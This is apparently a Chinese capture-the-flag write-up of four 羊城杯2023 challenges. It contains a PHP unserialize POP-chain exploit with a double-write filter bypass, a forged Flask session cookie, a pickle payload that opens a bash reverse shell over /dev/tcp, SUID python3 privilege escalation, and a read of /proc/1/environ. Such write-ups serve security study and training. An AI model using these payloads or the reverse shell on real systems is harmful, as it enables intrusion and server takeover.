羊城杯2023 部分wp

D0n't pl4y g4m3!!!(php7.4.21源码泄露&pop链构造)

Serpent(pickle反序列化&python提权)

ArkNights(环境变量泄露)

Ez_misc(win10sinpping_tools恢复)

D0n't pl4y g4m3!!!(php7.4.21源码泄露&pop链构造)

访问/p0p.php 跳转到了游戏界面

应该是存在302跳转 burp抓包提示 /hint.zip

下载下来得到一段密文：

Ö0 0vO Ow0 0w0 Ö0 ÖO Ö.O o_o 0.O OvO o.0 owo o.Ö Ö.Ö Ovo 0Ö Öo owO O.0 owo Öo owO O.0 owo Ö0 0wÖ O.0 0w0 Ö0 OwO ov0 owo o_O O.Ö Övo

尊嘟假嘟翻译器解密得到：flag在/tmp/catcatf1ag.txt

PHP＜=7.4.21

存在Development Server源码泄露漏洞

得到 p0p.php的源码：

 <?php
 header("HTTP/1.1 302 found");
 header("Location:https://www.baidu.com");
 
 class Pro{
     private $exp;
     private $rce2;
 
     public function __get($name)
     {
         return $this->$rce2=$this->exp[$rce2];
     }
     public  function __toString()
     {
         call_user_func('system', "cat /flag");
     }
 }
 
 class Yang
 {
     public function __call($name, $ary)
     {
         if ($this->key === true || $this->finish1->name) {
             if ($this->finish->finish) {
                 call_user_func($this->now[$name], $ary[0]);
             }
         }
     }
     public function ycb()
     {
         $this->now = 0;
         return $this->finish->finish;
     }
     public function __wakeup()
     {
         $this->key = True;
     }
 }
 class Cheng
 {
     private $finish;
     public $name;
     public function __get($value)
     {
 
         return $this->$value = $this->name[$value];
     }
 }
 class Bei
 {
     public function __destruct()
     {
         if ($this->CTF->ycb()) {
             $this->fine->YCB1($this->rce, $this->rce1);
         }
     }
     public function __wakeup()
     {
         $this->key = false;
     }
 }
 
 function prohib($a){
     $filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i";
     return preg_replace($filter,'',$a);
 }
 
 $a = $_POST["CTF"];
 if (isset($a)){
     unserialize(prohib($a));
 }
 ?>
 # ./有hint.zip

简单php反序列化，构造pop链

 <?php
 
 class Pro{
     private $exp;
     private $rce2 = "haha";
 
     public function __get($name)
     {
         echo "__get()";
         var_dump($this->$rce2=$this->exp[$rce2]);
         return $this->$rce2=$this->exp[$rce2];
     }
     public  function __toString()
     {
         call_user_func('system', "cat /flag");
     }
 }
 
 class Yang
 {
     public function __call($name, $ary)
     {
         echo " Yang::__call()  ";
 
         if ($this->key === true || $this->finish1->name) {
             if ($this->finish->finish) {
                 echo " call_user_func()";
                 #echo $name,$ary[0];
                 call_user_func($this->now[$name], $ary[0]);
             }
         }
     }
     public function ycb()
     {
         echo " Yang::ycb()  ";
         $this->now = 0;
         return $this->finish->finish; # 给 $this->finish 赋 Cheng类 调其私有属性触发 __get()
     }
     public function __wakeup()
     {
         $this->key = True;
     }
 }
 class Cheng
 {
     private $finish;
     public $name;
     public function __get($value)
     {
         echo " Cheng::__get() ";
         return $this->$value = $this->name[$value]; #
     }
 }
 class Bei
 {
     public function __destruct()
     {
         if ($this->CTF->ycb()) {  # 给$this->CTF 赋 Yang()类 调其 ycb()
             $this->fine->YCB1($this->rce, $this->rce1); # 给$this->fine 赋 Yang 不存在YCB1() 调其 __call()
         }
     }
     public function __wakeup()
     {
         $this->key = false;
     }
 }
 
 function prohib($a){
     $filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i";
     return preg_replace($filter,'',$a);
 }
 
 $a = new Bei();
 $a->CTF = new Yang();
 $a->CTF->finish = new Cheng();
 $a->CTF->finish->name = ["finish"=>"aaa"];
 
 $a->fine = new Yang();
 
 $a->fine->finish = new Cheng();
 $a->fine->finish->name = ["finish"=>"aaa"];
 $a->fine->finish1 = new Cheng();
 $a->fine->finish1->name = 1;
 
 $a->fine->now['YCB1'] = "syssystemtem";
 $a->rce = "cat /tmp/catcatf1ag.txt > a";
 
 $b = serialize($a);
 echo urlencode($b);
 ?>

由于存在一个过滤

 function prohib($a){
     $filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i";
     return preg_replace($filter,'',$a);
 }

但是过滤只是将关键字替换为空，可以双写绕过

因此将生成的序列化数据，修改末尾 s%3A12%3A%22syssystemtem%22%3B%7D%7Ds%3A3%3A%22rce%22%3Bs%3A27%3A%22cat+%2Ftmp%2Fcatcatf1ag.txt+%3E+a%22%3B%7D 的 12替换为 6 这样过滤之后也可以正常反序列化

外带 flag内容到 a 访问/a 得到flag

Serpent(pickle反序列化&python提权)

访问/www.zip得到部分代码

 from flask import Flask, session
 from secret import secret
 
 @app.route('/verification')
 def verification():
     try:
         attribute = session.get('Attribute')
         if not isinstance(attribute, dict):
             raise Exception
     except Exception:
         return 'Hacker!!!'
     if attribute.get('name') == 'admin':
         if attribute.get('admin') == 1:
             return secret
         else:
             return "Don't play tricks on me"
     else:
         return "You are a perfect stranger to me"
 
 if __name__ == '__main__':
     app.run('0.0.0.0', port=80)

访问 /verification路由 cookie放到 jwt.io 里

得到 SECRET_KEY：GWHTHKpOjDIQ2b

flask 伪造session

 {"Attribute": {"admin": 1,"name": "admin","secret_key": "GWHTHKpOjDIQ2b"}}

 # python3 flask_session_cookie_manager3.py encode -s "GWHTHKpOjDIQ2b" -t '{"Attribute": {"admin": 1,"name": "admin","secret_key": "GWHTHKpOjDIQ2b"}}'
 eyJBdHRyaWJ1dGUiOnsiYWRtaW4iOjEsIm5hbWUiOiJhZG1pbiIsInNlY3JldF9rZXkiOiJHV0hUSEtwT2pESVEyYiJ9fQ.ZPLH7A.VLZkgFun7fWka435Q3Xrrxb_hWE

然后访问得到secret

得到 /ppppppppppick1e路由

burp发包，在响应包得到：Hint: Source in /src0de 得到源码：

 @app.route('c0de')
 def src0de():
     f = open(__file__, 'r')
     rsp = f.read()
     f.close()
     return rsp[rsp.index("@app.route('/src0de')"):]
 
 @app.route('ppppppppick1e')
 def ppppppppppick1e():
     try:
         username = "admin"
         rsp = make_response("Hello, %s " % username)
         rsp.headers['hint'] = "Source in c0de"
         pick1e = request.cookies.get('pick1e')
         if pick1e is not None:
             pick1e = base64.b64decode(pick1e)
         else:
             return rsp
         if check(pick1e):
             pick1e = pickle.loads(pick1e)
             return "Go for it!!!"
         else:
             return "No Way!!!"
     except Exception as e:
         error_message = str(e)
         return error_message
 
     return rsp
 
 class GWHT():
     def __init__(self):
         pass
 
 if __name__ == '__main__':
     app.run('0.0.0.0', port=80)

在/ppppppppick1e 路由会对session的pick1e值进行pickle.load() 存在pickle反序列化，但是有一个未知的check() 需要绕过·

 import base64
 
 #payload=b'\x80\x03(cbuiltins\ngetattr\np0\ncbuiltins\ndict\np1\nX\x03\x00\x00\x00getop2\n0(g2\n(cbuiltins\nglobals\noX\x0C\x00\x00\x00__builtins__op3\n(g0\ng3\nX\x04\x00\x00\x00evalop4\n(g4\nX\x21\x00\x00\x00__import__("os").system("")o.'
 payload = b'''(cos
 system
 S'bash -c "bash -i >& /dev/tcp/ip/port 0>&1"'
 o.'''
 
 # env | tee /tmp/a
 print(base64.b64encode(payload))

可以o操作码绕过，system执行命令刚开始可能是构造payload出错了，报错信息中还以为过滤了>

反弹不了shell 就一直想着怎么构造回显将命令执行结构写入文件查看写入的文件时，又一直显示 Permission Denied 。。。。

最后发现并没有过滤 > bash弹到shell之后，发现没有权限，需要提取怪不得permission denied

查找具有suid权限的命令，找到了 /usr/bin/python3.8

可以python 进行提权

python3 -c "import os;os.setuid(0);os.system('/bin/bash');"

这里直接 python3 /flag

根据报错信息得到了flag

ArkNights(环境变量泄露)

非预期：

读取 /proc/1/environ 获得flag

Ez_misc(win10sinpping_tools恢复)

下载附件，得到一个图片下面应该有东西

脚本恢复一下宽、高

宽：0x164

高：0x61

假的flag

010打开图片发现 IEND fivenumbers 字样可能是win的自带截图

脚本恢复一下

得到flag